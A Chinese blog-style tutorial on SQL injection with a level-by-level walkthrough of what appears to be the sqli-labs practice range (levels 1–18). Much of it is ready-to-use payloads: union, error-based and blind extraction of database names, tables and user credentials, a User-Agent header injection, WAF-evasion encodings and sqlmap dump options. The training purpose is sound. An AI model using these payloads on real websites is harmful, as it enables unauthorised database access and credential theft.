SQL注入与攻防

发布于:2022-07-25 ⋅ 阅读:(1878) ⋅ 点赞:(2)

前言:

最近在南京一个专门研究通信的公司实习,接触到了一些大牛,给我推荐一个年代比较久印度程序员写的一个靶场,最近打了一下,顺便整理一下。

1、 SQL 注入(Injection) 概述

1.1SQL注入即是指web应用程序

对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

web应用程序三层架构:视图层 + 业务逻辑层  + 数据访问层

 

2、SQL注入之mysql基础语法

2.1 数据库服务器层级关系:

服务器里面:多个数据库 :多个数据表:多个行 列  字段 : 数据

2.2 常用语法

查询当前数据库服务器所有的数据库:
   show databases;
 选中某个数据库:
        use 数据库名字 
查询当前数据库所有的表:
        show tables;
查询t1表所有数据:
        查询关键 select 
        * 所有
        from  表名
        select * from t1;
        条件查询 id=2
        where 条件  编程 if(条件 true){执行}
    
        select * from t1 where id=2;
        查询id=2   pass =111
        union 合并查询 :
        2个特性:
        前面查询的语句 和 后面的查询语句 结果互不干扰!
        前面的查询语句的字段数量 和 后面的查询语句字段数量  要一致
    
         == 3
        select id from t1 where id=-1 union select * from t1 where pass =111;
    
        order by 排序
        order by 字段名字  id  也可以 跟上数字 1 2 3 4 .。。。。。
    
        猜解表的列数 知道表有几列  

3.mysql系统库释义

提供了访问数据库元数据的方式(元数据是关于数据库的数据,如数据库名和表名,列的数据类型或访问权限)

3.1、information_schema 库

是信息数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息;

例如数据库或表的名称,列的数据类型或访问权限。有时用于此信息的其他术语是数据字典和系统目录。web渗透过程中用途很大。

SCHEMATA 表:提供了当前MySQL实例中所有数据库信息, show databases结果取之此表。

    TABLES表:提供了关于数据中表的信息。table_name

    COLUMNS表:提供了表的列信息,详细描述了某张表的所有列以及每个列的信息。column_name

3.2performance_schema库

MySQL 5.5开始新增一个数据库:PERFORMANCE_SCHEMA,主要用于收集数据库服务器性能参数。内存数据库,数据放在内存中直接操作的数据库。相对于磁盘,内存的数据读写速度要高出几个数量级。

3.3mysql库

是核心数据库,类似于sql server中的master表,主要负责存储数据库的用户(账户)信息、权限设置、关键字等mysql自己需要使用的控制和管理信息。不可以删除,如果对mysql不是很了解,也不要轻易修改这个数据库里面的表信息。
常用举例:在mysql.user表中修改root用户的密码

3.4sys库

具有1个表,100个视图。
sys库是MySQL 5.7增加的系统数据库,这个库是通过视图的形式把information_schema和performance_schema结合起来,查询出更加令人容易理解的数据。
可以查询谁使用了最多的资源,哪张表访问最多等

4、SQL注入之MYSQL手工注入

4.1注入流程

 4.1 注入语句

         1.判断有无注入点   and 1 = 1; true 
        随便输入内容  ==  报错  注入
                      ==  没有注入
        2.猜解列名数量 order by 
        字段 4个
    
        3.报错,判断回显点 union 
        4.信息收集 
          数据库版本 version()
          高版本:5.0  
            系统库: infromation 。。。
          数据库名称:database()    
          低版本:5.0 
        5.使用对应SQL进行注入  
            数据库库名:security
        . 下一级  
        infromation_schema.tables 查找表名
        table_name
        查询serurity库下面 所有的表名 
    
        database()
    
    
        = 前后 连到一起
        union select 1,group_concat(table_name),3 from information_schema.tables
        where table_schema=database()
    
        表: users
        如何查询表里面有那些字段? 
        user 字符 转行 16进制
        union select 1,group_concat(column_name),3 from information_schema.columns
        where table_name=0x7573657273
    
        username  password  字段数据  
        select username,password from users
        0x3a  :
        union select 1,2,(select group_concat(username,0x3a,password)from users)

5.mysql高权限注入

在数据库中区分有数据库系统用户与数据库普通用户,二者的划分主要体现在对一些高级函数与资源表的访问权限上。直白一些就是高权限系统用户拥有整个数据库的操作权限,而普通用户只拥有部分已配置的权限。

5.1  MySQL 权限介绍

mysql中存在4个控制权限的表,分别为:

user表,db表,tables_priv表,columns_priv表

select * from user where user='root' and host='localhost'\G;

    mysql权限表的验证过程为:

    先从user表中的Host,User,Password这3个字段中判断连接的ip、用户名、密码是否存在,存在则通过验证。

    通过身份认证后,进行权限分配,
    按照user,db,tables_priv,columns_priv的顺序进行验证。
    即先检查全局权限表user,如果user中对应的权限为Y,则此用户对所有数据库的权限都为Y,
    将不再检查db, tables_priv,columns_priv;如果为N,则到db表中检查此用户对应的具体数据库,
    并得到db中为Y的权限;如果db中为N,则检查tables_priv中此数据库对应的具体表,取得表中的权限Y,以此类推。
 

5.1.1  系统权限表

    User表:存放用户账户信息以及全局级别(所有数据库)权限,决定了来自哪些主机的哪些用户可以访问数据库实例,如果有全局权限则意味着对所有数据库都有此权限 
    Db表:存放数据库级别的权限,决定了来自哪些主机的哪些用户可以访问此数据库 
    Tables_priv表:存放表级别的权限,决定了来自哪些主机的哪些用户可以访问数据库的这个表 
    Columns_priv表:存放列级别的权限,决定了来自哪些主机的哪些用户可以访问数据库表的这个字段 
    Procs_priv表:存放存储过程和函数级别的权限

5.1.2 MySQL 权限级别分为

    全局性的管理权限: 作用于整个MySQL实例级别 
    数据库级别的权限: 作用于某个指定的数据库上或者所有的数据库上 
    数据库对象级别的权限:作用于指定的数据库对象上(表、视图等)或者所有的数据库对象

5.1.3 查看mysql 有哪些用户

mysql> select user,host from mysql.user;

5.1.4 查看用户对应权限

 select * from user where user='root' and host='localhost'\G;  

    所有权限都是Y ,就是什么权限都有

5.1.5 .创建 mysql 用户

执行create user/grant命令
    CREATE USER 'finley'@'localhost' IDENTIFIED BY 'some_pass';

5.1.6 只提供id查询权限

 grant select(id) on test.temp to test1@'localhost' identified by '123456';

5.1.7 把普通用户变成管理员
 

GRANT ALL PRIVILEGES ON *.* TO 'test1'@'localhost' WITH GRANT OPTION;

5.1.8 删除用户

drop user finley@'localhost';

6、 SQL注入之文件读写

6.1 文件读写注入的原理

就是利用文件的读写权限进行注入,它可以写入一句话木马,也可以读取系统文件的敏感信息。

6.2 文件读写注入的条件

高版本的MYSQL添加了一个新的特性secure_file_priv,该选项限制了mysql导出文件的权限

6.2.1secure_file_priv选项

linux:
cat  etc/conf

win:
www/mysql / my.ini

然后输入

show global variables like '%secure%'  查看mysql全局变量的配置

6.2.1.1读写文件需要 `secure_file_priv`权限

`secure_file_priv=''`

代表对文件读写没有限制

`secure_file_priv=NULL`

代表不能进行文件读写

6.2.1.2 知道网站绝对路径

Windows常见:

 linux常见:

6.2.2路径获取常见方式:

报错显示,遗留文件,漏洞报错,平台配置文件等

6.3 读取文件

使用函数:`load_file()`

后面的路径可以是单引号,0x,char转换的字符。

注意:路径中斜杠是/不是\。

一般可以与union中做为一个字段使用,查看config.php(即mysql的密码),apache配置

6.4 写入文件

使用函数:`Into Outfile`(能写入多行,按格式输出)和 `into Dumpfile`(只能写入一行且没有输出格式)

outfile 后面不能接0x开头或者char转换以后的路径,只能是单引号路径

7  SQL注入之基础防御

7.1 魔术引号

魔术引号(Magic Quote)是一个自动将进入 PHP 脚本的数据进行转义的过程。
最好在编码时不要转义而在运行时根据需要而转义.

魔术引号:
php.ini文件内找到

```
magic_quotes_gpc = On 开启

将其改为

magic_quotes_gpc = Off 关闭

7.2 内置函数

做数据类型的过滤

is_int()等

addslashes()

mysql_real_escape_string()

mysql_escape_string()

7.3 自定义关键字

str_replace()

8 SQL注入之数据类型

8.1 数字型注入点

许多网页链接有类似的结构 [http://xxx.com/users.php?id=1](http://xxx.com/users.php?id=1) 基于此种形式的注入,一般被叫做数字型注入点,缘由是其注入点 id 类型为数字,在大多数的网页中,诸如 查看用户个人信息,查看文章等,大都会使用这种形式的结构传递id等信息,交给后端,查询出数据库中对应的信息,返回给前台。这一类的 SQL 语句原型大概为 `select * from 表名 where id=1` 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:`select * from 表名 where id=1 and 1=1`

8.2 字符型注入点

网页链接有类似的结构 [http://xxx.com/users.php?name=admin](http://xxx.com/users.php?name=admin) 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 `select * from 表名 where name='admin'` 值得注意的是这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:`select * from 表名 where name='admin' and 1=1 '` 我们需要将这些烦人的引号给处理掉。

8.3 搜索型注入点

这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 `"keyword=关键字"` 有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:`select * from 表名 where 字段 like '%关键字%'` 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:`select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'`

8.4 xx型注入点

其他型:也就是由于SQL语句拼接方式不同,在SQL中的实际语句为:,其本质为(xx') or 1=1 # )

常见的闭合符号:'     ''    %     (      {

SQL注入之数据提交方式

9.1 GET方式注入

get注入方式比较常见,主要是通过url中传输数据到后台,带入到数据库中去执行,可利用联合注入方式直接注入

9.2 POST方式注入

post提交方式主要适用于表单的提交,用于登录框的注入

方法:利用BurpSuite抓包进行重放修改内容进行,和get差别是需要借助抓包工具进行测试,返回结果主要为代码,也可转化为网页显示

9.3 Request方式注入

概念:超全局变量 PHP中的许多预定义变量都是“超全局的”,这意味着它们在一个脚本的全部作用域中都可以用,这些超全局变量是:
$_REQUEST(获取GET/POST/COOKIE)COOKIE在新版本已经无法获取了
$_POST(获取POST传参)
$_GET(获取GET传参)
$_COOKIE(获取COOKIE传参)
$_SERVER(包含了诸如头部信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组)

9.4  HTTP头注入

9.4.1 HTTP的头

通常HTTP消息包括客户机向服务器的请求消息和服务器向客户机响应消息。 这两种类型的消息有一个起始行,一个或者多个头域,一个只是头域结束的空行和可选的消息体组成。 HTTP的头域包括通用头,请求头,响应头和实体头四个部分

9.4.2 Header头部注入

该注入是指利用后端验证客户端信息(比如常用的cookie验证)或者通过header中获取客户端的一些信息(比如User-Agent用户代理等其他header字段信息),因为这些信息在某些地方是会和其他信息一起存储到数据库中,然后再在前台显示出来,又因为后台没有经过相对应的信息处理所以构成了sql注入。

10 SQL注入之查询方式

当进行SQL注入时,有很多注入会出现无回显的情况,其中不回显得原因可能时SQL语句查询方式问题导致,这个时候我们需要用到报错或者盲注进行后续操作,同时在注入的过程中,提前了解其中SQL语句可以更好的选择对应的注入语句。

select 查询数据

例如:在网站应用中进行数据显示查询操作

select * from user where id=$id


delete 删除数据

例如:后台管理里面删除文章删除用户等操作

delete from user where id=$id


 insert 插入数据

例如:在网站应用中进行用户注册添加操作


insert into user (id,name,pass) values(1,'zhangsan','1234')


 update 更新数据

例如:后台中心数据同步或者缓存操作

update user set pwd='p' where id=1

11、SQL注入 报错盲注

盲注就是在注入的过程中,获取的数据不能显示到前端页面,此时,我们需要利用一些方法进行判断或者尝试,我们称之为盲注。我们可以知道盲注分为以下三类:

11.1 基于布尔的SQL盲注 - 逻辑判断

regexp like ascii left ord mid

11.1.1概念

Web的页面的仅仅会返回True和False。那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息。

false:

true 

 

 

11.1.2 如何进行布尔盲注?

 

11.2 .基于时间的SQL盲注 - 延时判断

11.2.1 知识储备

1、sleep():                                     Sleep 函数可以使计算机程序(进程,任务或线程)进入休眠

2、if():                                           i f 是 计算机编程语言一个关键字,分支结构的一种

if(a,b,c):      可以理解在java程序中的三目运算符,a条件成立 执行b, 条件不成立,执行c



3、mid(a,b,c):                                      从b开始,截取a字符串的c位

 



 4、substr(a,b,c):                                从b开始,截取字符串a的c长度

Substr()和substring()函数实现的功能是一样的,均为截取字符串。

string substring(string, start, length)
string substr(string, start, length)


参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度。



5、length(database())=8 :                 判断长度

6、Left()函数

Left()得到字符串左部指定个数的字符

Left ( string, n ) string为要截取的字符串,n为长度。



7、ord=ascii ascii(x)=100:                判断x的ascii值是否为100

 

   达到延时数据显示,从而通过数据显示的时间判断数据对错!

11.3 基于报错的SQL盲注 - 报错回显(强制性报错   )

11.3.1 updatexml():从目标XML中更改包含所查询值的字符串

第一个参数:XML_document 是String格式,为XML文档对象的名称,文中为DOC

第二个参数:XPath_string(Xpath格式字符串)

第三个参数:new_value,String格式,替换查找到的符合条件的数据

updatexml(XML_document,XPath_String,new_value);




'or updatexml(1,concat(0x7e,database()),0)or'

11.3.2 extractvalue():从目标XML中返回包含所查询值的字符串

extractvalue():从目标XML中返回包含所查询值的字符串

第一个参数:XML_document 是String格式,为XML文档对象的名称,文中为DOC

第二个参数:XPath_String (Xpath格式字符串)

extractvalue(XML_document,XPath_String)

' or extractvalue(1,concat(0x7e,database())) or'

' union select 1,extractvalue(1,concat(0x7e,(select version())))%23

函数应用:

floor()向下取整  floor(10.5)  =  10
rand()随机数 0 ~ 1之间
count(*)函数返回表的记录数。
concat函数:将多个字符串连接成一个字符串
group_by 根据by对数据按照哪个字段、进行分组,或者是哪几个字段进行分组(去重)。
会建立一张临时表
注意:多个字段分组要使用某个列的聚合函数 count sum等

12、SQL注入之加解密注入

Base64是网络上最常见的用于传输8Bit的编码方式之一,Base64就是一种基于64个可打印字符来表示二进制数据的方法。

Cookie加密注入:

 13、SQL注入之堆叠注入

在SQL中,分号是用来表示一条sql语句的结束,试想一下我们在 ; 结束一个sql语句后面继续构造下一个语句
会不会一起执行?因此这个想法也就造就了堆叠注入。

而union injection(联合注入)也是将两条语句合并在一起
两者之间有什么区别?区别就在于union执行语句类型有限,可以用来执行查询语句,而堆叠注入可以执行的是任意语句

 

14、SQL注入之WAF绕过

WAF拦截原理:WAF从规则库中匹配敏感字符进行拦截。

14.1 关键词大小写绕过

有的WAF因为规则设计的问题,只匹配纯大写或纯小写的字符,对字符大小写混写直接无视,这时,我们可以利用这一点来进行绕过

    举例: union select ---> unIOn SeLEcT

14.2 编码绕过

针对WAF过滤的字符编码,如使用URL编码,Unicode编码,十六进制编码,Hex编码等.

    举例:union select 1,2,3# =union%0aselect 1\u002c2,3%23

14.3 双写绕过

部分WAF只对字符串识别一次,删除敏感字段并拼接剩余语句,这时,我们可以通过双写来进行绕过。

    举例:UNIunionON ,SELselectECT anandd

14.4 换行(\N)绕过

举例:select * from admin where username = \N union select 1,user() from admin

14.5 注释符内联注释绕过

    union selecte =/*!union*/ select

    注释符里感叹号后面的内容会被mysql执行

14.6 同义词替换

 and=&&

    or=||

    =(等于号)=<、>

    空格不能使用=%09,%0a,%0b,%0c,%0d,%20,%a0等

    注:%0a是换行也可以替代空格

14.7 HTTP参污染

  对目标发送多个参数,如果目标没有多参数进行多次过滤,那么WAF对多个参数只会识别其中的一个。

举例:?id=1&id=2&id=3
    ?id=1/**&id=-1%20union%20select%201,2,3%23*/

`WAF绕过的思路就是让WAF的检测规则,识别不到你所输入的敏感字符,利用上述所介绍的方法,从而可以增加绕过WAF的可能性`

and or绕过:%20/*//--/*/  V4.0
联合绕过:union/*//--/*/  /*!--+/*%0aselect/*!1,2,3*/ --+
from绕过: /*!06447%23%0afrom*/

/*! sql语句*/ 里面的sql语句必须要执行

less1

1.1先找注入点

1.2 找注入方式

 

 1.3 通过order by 判断字段数,从1直到出现bug(--+是注释掉后面的)

 1.4 找回显点

1.5信息收集

 

 1.6 逐渐爆破

1.爆破数据库名(2,3均可以)

and%201=1%20union%20select%201,2,group_concat(schema_name)%20from%20information_schema.schemata--+

 2.爆破表名

union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()--+ 

 3 爆破字段名

union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27;--+

 4 爆破最后内容

union%20select%201,2,(select%20group_concat(username,id,password)%20from%20users)--+

 less2

1、判断类型

当and 1=2时没有回显说明为数字型

2、判断字段

3、找回显点

 4、同less1

less3

由源码可知

 

 

less4

 

由源码可知为先拼接后闭合

(同less1) 

 less5

但是没有回显点

 

 通过sqlmap测试可知id存在报错注入和延时注入

id=-1' union select updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
select 1,count(*),concat(0x7e,(select(database())),0x7e,floor(rand(0)*2))x from
information_schema.tables group by x--+

 

经过转换为security

 less6 

由源码可知为"闭合

union%20select%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)--+ 

 

select 1,count(*),concat(0x7e,(select(database())),0x7e,floor(rand(0)*2))x from
information_schema.tables group by x--+

 

 less7

'))真有你的

 

 可以知道字段数为3,查看sqlmap

 

 less8

报错没有强制回显,但是依然有页面因此可以布尔盲注,用or的原因是无法确定id为true 

id=-1' or (substr(database(),1,1))='s'--+

 

查表名
?id=-1' or (ascii(substr(select (table_name) from information_schema.tables
where table_schema=database() limit 0,1),1,1))=?--+
查字段名
?id=-1' or (ascii(substr(select (column_name) from information_schema.columns
where table_name='users' limit 0,1),1,1))=?--+

靠推测第一个ascii值

less9

 折磨人,对和错返回的same

时间盲注

id=1' and if(length(database())=8,sleep(5),0) //如果长度为八就延时5秒返回结果

同理

猜解数据库名
if(ascii(substr(database(),1,1))=115,sleep(5),0)--+
猜解表名
if(ascii(mid(select (table_name) from information_schema.tables where
table_schema=database(),1,1)=105),sleep(5),0)--+ 

less10 

查看源码可知为",其他操作与less9相同

less11

 为post提交,使用burp sutie进行抓包

查看源码,以'作为闭合符号,,且注入点有两个,定义$result变量传递上面的sql查询语句,并将查询到的结果给到$row去除其一行作为一个相关联数组 

判断$row是否存在,存在的可以利用盲注的方式强制找出回显点

 

unmae=jinyouxin' order by 3--+ 可知有2个字段

利用extractvalue函数进行爆破

1.爆破数据库名
extractvalue(1,concat(0x7e,(select (schema_name) from
information_schema.schemata limit 0,1),0x7e))
extractvalue(1,concat(0x7e,(select database())))
or extractvalue(1,concat(0x7e,(select database()))) or'

 2.爆破表名
extractvalue(1,concat(0x7e,(select (table_name) from information_schema.tables
where table_schema=database() limit 0,1),0x7e))
uname=-1') or extractvalue(1,concat(0x7e,(select (table_name) from
information_schema.tables where table_schema=database() limit 0,1),0x7e))

3.爆破字段名
extractvalue(1,concat(0x7e,(select(column_name)from information_schema.columns
where table_name='users' limit 0,1),0x7e))
uname=-1') or extractvalue(1,concat(0x7e,(select(column_name)from
information_schema.columns where table_name='users' limit 0,1),0x7e))

4.爆破最终数据
用户名:extractvalue(1,concat(0x7e,(select(username)from users limit 0,1),0x7e))
uname=-1') or extractvalue(1,concat(0x7e,(select (username)from users limit
0,1),0x7e))
密码:extractvalue(1,concat(0x7e,(select password from users limit 0,1),0x7e))
uname=-1') or extractvalue(1,concat(0x7e,(select (password)from users limit
0,1),0x7e))

利用updatexml

1.爆破数据库名
updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata
limit 0,1),0x7e),1)
updatexml(1,concat(0x7e,(select database())),1)
-1') or updatexml(1,concat(0x7e,database(),0x7e),1)

2.爆破表名
updatexml(1,concat(0x7e,(select (table_name) from information_schema.tables
where table_schema=database() limit 0,1),0x7e),1)
uname=-1') or updatexml(1,concat(0x7e,(select (table_name) from
information_schema.columns where table_schema=database() limit 0,1),0x7e),1)

3.爆破字段名
updatexml(1,concat(0x7e,(select (column_name) from information_schema.columns
where table_name='users' limit 0,1),0x7e),1)
uname=-1') or updatexml(1,concat(0x7e,(select (column_name) from
information_schema.columns where table_name='users' limit 0,1),0x7e),1)

4.爆破数据
updatexml(1,concat(0x7e,(select (username) from users limit 0,1),0x7e),1)
updatexml(1,concat(0x7e,(select (password) from users limit 0,1),0x7e),1)
uname=-1') or updatexml(1,concat(0x7e,(select username from users limit
0,1),0x7e),5)

利用floor函数爆破

1.爆破数据库名
count(*),concat(0x7e,(select (schema_name) from information_schema.schemata
limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x
count(*),concat(0x7e,(select database()) ,0x7e,floor(rand(0)*2))x from
information_schema.tables group by x

2.爆破表名
count(*),concat(0x7e,(select (table_name) from information_schema.tables where
table_schema=database() limit 0,1),0x7e,floor(rand(0)*2))x from
information_schema.tables group by x 

3.爆破字段名
count(*),concat(0x7e,(select (column_name) from information_schema.columns where
table_name='users' limit 0,1),0x7e,floor(rand(0)*2))x from
information_schema.tables group by x 


4.爆破数据
count(*),concat(0x7e,(select (username) from users),0x7e,floor(rand(0)*2))x from
information_schema.tables group by x
count(*),concat(0x7e,(select (password) from users),0x7e,floor(rand(0)*2))x from
information_schema.tables group by x
 

 

less12

以")闭合,和less11一致

less13

闭合方式为'),同上

less14

闭合方式为"

less15

补充sqlmap常用命令

-u:用于get提交方式,后面跟注入的url网址

-r:用于post提交方式,后面跟注入的数据路径

-p:post提交,并且限制字段
--level
--risk



--dbs:获取所有数据库
--tales:获取所有数据表
--columns:获取所有字段
--dump:打印数据

-D:查询选择某个库
-T:查询选择某个表
-C:查询选择某个字段
level:执行测试的等级(1~5,默认为1),使用-level参数并且数值>=2的时候会检查cookie里面的参数,
    当>=3时检查user-agent和refereer
          risk:执行测试的风险(0~3,默认为1),默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,
    3会增加or语句的sql注入

 (sqlmap相当于一个个试,有的企业可能因为进程问题不使用此方法进行测试)

此关查看源码分析可以使用布尔盲注(src是不同的) 

 判断字段数

盲猜数据库长度

 

拆解数据库名

union select 1,ascii(substr(database(),1,1))=115
或者admin' or ascii(mid(database(),1,1))=115

以此类推,逐一猜解表名,字段名,数据(我想说我爱python )

less16

同上

less17

 试试爆破点在密码框

' or 1=1--+

字段数无法判断直接试一下报错注入看是否有回显

' and updatexml(1,concat(0x7e,(database()),0x7e),1)--+

后面同上

less18

 

看了源码才明白http头部被拼接上了sql语句

 故注入点在user-agent处

'and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '#

注意多一个括号是闭合源码里面的括号,后面and'是填补$ip和$uname的值
插入语句之后报错出数据库的名字

总结

之后的关越来越复杂,需要一段时间攻破..........


网站公告

今日签到

点亮在社区的每一天
去签到